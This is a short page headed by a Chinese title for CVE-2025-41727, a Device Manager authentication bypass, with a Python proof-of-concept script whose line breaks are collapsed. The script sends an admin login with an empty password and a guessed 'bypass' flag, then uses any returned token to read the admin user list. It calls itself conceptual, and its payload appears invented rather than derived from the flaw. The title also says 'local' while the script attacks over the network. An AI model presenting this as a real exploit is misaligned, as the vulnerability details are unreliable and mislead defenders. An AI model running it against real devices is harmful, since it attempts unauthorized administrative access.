CVE-2025-41727: Device Manager本地认证绕过漏洞

# CVE-2025-41727 PoC - Device Manager Authentication Bypass # Note: This is a conceptual PoC for educational purposes only import requests import sys def exploit_device_manager(target_ip, target_port=443): """ Device Manager Authentication Bypass PoC This PoC demonstrates the authentication bypass vulnerability in Device Manager UI. The actual exploitation requires understanding the specific authentication mechanism flaw. """ base_url = f"https://{target_ip}:{target_port}" # Step 1: Identify the Device Manager login endpoint login_endpoint = f"{base_url}/api/auth/login" # Step 2: Attempt authentication bypass # The vulnerability allows bypassing authentication bypass_payload = { "username": "admin", "password": "", # Empty password or special payload "bypass": True # Exploiting the auth bypass flaw } try: # Attempt to bypass authentication response = requests.post(login_endpoint, json=bypass_payload, verify=False, timeout=10) if response.status_code == 200: data = response.json() if 'token' in data or 'session' in data: print(f"[!] Authentication bypass successful!") print(f"[*] Obtained session token: {data.get('token', data.get('session'))}") # Step 3: Use the obtained token for privileged operations token = data.get('token', data.get('session')) headers = {"Authorization": f"Bearer {token}"} # Attempt to access admin panel admin_endpoint = f"{base_url}/api/admin/users" admin_response = requests.get(admin_endpoint, headers=headers, verify=False) if admin_response.status_code == 200: print("[!] Successfully accessed admin panel!") print(f"[*] Admin data: {admin_response.text}") return True print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit_device_manager(target, port)